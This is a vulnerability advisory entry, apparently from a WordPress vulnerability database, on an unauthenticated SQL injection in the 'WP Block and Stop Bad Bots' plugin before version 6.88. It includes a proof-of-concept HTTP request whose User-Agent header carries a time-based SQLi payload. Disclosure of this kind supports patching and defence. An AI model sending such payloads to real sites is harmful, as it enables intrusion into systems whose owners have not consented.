WP Block and Stop Bad Bots < 6.88 - Unauthenticated SQLi

2022-03-0800:00:00

Krzysztof Zając

wordpress

sql injection

bad bots

EPSS

0.002

Percentile

54.5%

JSON

The plugin does not properly sanitise and escape the User Agent before using it in a SQL statement to record logs, leading to an SQL Injection issue

GET / HTTP/1.1
User-Agent: \'+SLEEP(5))-- g
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

EPSS

0.002

Percentile

54.5%

JSON

Related for WPEX-ID:E00B2946-15E5-4458-9B13-2E272630A36F